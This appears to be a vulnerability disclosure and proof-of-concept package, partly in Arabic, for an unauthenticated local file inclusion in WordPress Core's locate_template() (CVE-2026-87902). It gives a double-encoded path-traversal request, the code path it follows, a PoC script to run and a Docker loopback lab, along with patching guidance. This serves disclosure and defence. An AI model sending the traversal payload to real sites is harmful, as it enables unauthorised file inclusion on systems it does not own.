
حزمة إثبات المفهوم والإفصاح عن CVE-2026-87902، وهو تضمين ملف محلي غير مُصادَق عليه في WordPress Core عبر locate_template()، مع مختبر loopback وإرشادات التصحيح.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-87902
WordPress — WordPress Core 7.1.1 — WordPress
WordPress Core عرضة لـ Local File Inclusion عبر دالة locate_template() في إصدارات متعددة حتى الإصدار 7.1.1 ضمناً.
| CVE | CVE-2026-87902 · CVE.org |
| CWE | CWE-98 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Product | WordPress Core |
| Affected | جميع الإصدارات حتى 7.1.1 (ضمناً) |
| Patched | 7.1.2 وما بعده |
| Auth | بدون مصادقة (انظر source map) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 فقط · حزمة إفصاح للمورّد/العميل، وليست ماسحاً ضوئياً |
wp-includes/template.php get_page_template + locate_template على 7.1.1. التصحيح 7.1.2 _wp_is_template_path_allowed و validate_file على pagename بعد فك الترميز.
GET/?page_id={id}&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fuploads%252Fghsa7hp8-witnessGET /?page_id=<published page>&pagename=<double-encoded templates/../../../uploads/ghsa7hp8-witness>WP_Query parse_query is_page from page_id; get_posts replaces WHERE with ID=page_idget_page_template urldecode pagename then page-{$pagename}.phplocate_template file_exists(stylesheet_path + '/' + template_name) no jailtemplate-loader realpath + includeجسم استجابة 200 بدون مصادقة يحتوي على GHSA7HP8-WITNESS و wp_version=7.1.1. طلب التحكم GET /?page_id=N لا يحتوي عليه.
افعل هذا أولاً: حدّث WordPress Core إلى 7.1.2 أو أحدث.
تحقق بعد الترقية
CVE-2026-87902-Abraxas-Labs.py مقابل البناء المُرقّع: يجب ألا يظهر الـ witness المُعيّن.إذا لم تستطع التحديث فوراً
استهدف فقط http://127.0.0.1:8088 (أو الـ loopback الذي ربطته). لا توجّه هذا السكربت إلى الإنترنت.
python3 CVE-2026-87902-Abraxas-Labs.py
النجاح هو witness المذكور أعلاه في جسم الاستجابة. استجابة HTML عامة بحالة 200 ليست هي.
حزمة loopback المستخدمة لإعادة الإنتاج. صور رسمية ما لم يبنِ Dockerfile في هذا المجلد من المصدر.
cd lab
docker compose up --force-recreate
اربط شجرة المنتج المتأثر بجانب Compose إذا كان ملف YAML يربط دليلاً محلياً (plugin zip / source tag من جدول الإصدارات). لا تنشر شيئاً عدا 127.0.0.1.
# CVE-2026-87902 / GHSA-7hp8-65ch-5whp
CWE: CWE-98
CVSS: High 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Wordfence). GitHub advisory: Critical.
## Description
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. `locate_template()` in WordPress <= 7.1.1 concatenates the caller-supplied template name onto the theme path and does not verify the result stays inside the theme. The core-reachable vector is the url-decoded `pagename` query variable. WordPress 7.1.2 adds `_wp_is_template_path_allowed()`.
## Product
WordPress 7.1.1 (fixed in 7.1.2, backported through 4.7.37). Lab oracle is LFI of a witness PHP file, not RCE.
هذه الحزمة الإفصاحية مرخّصة بموجب GNU Affero General Public License v3.0. انظر LICENSE.
هذه الحزمة مخصّصة للمورّد، ومالك الموقع، والمختبرات المرخّصة. يتواصل السكربت مع 127.0.0.1. استخدامه ضد أنظمة لا تملكها غير مصرّح به من Abraxas Labs. لا ضمان.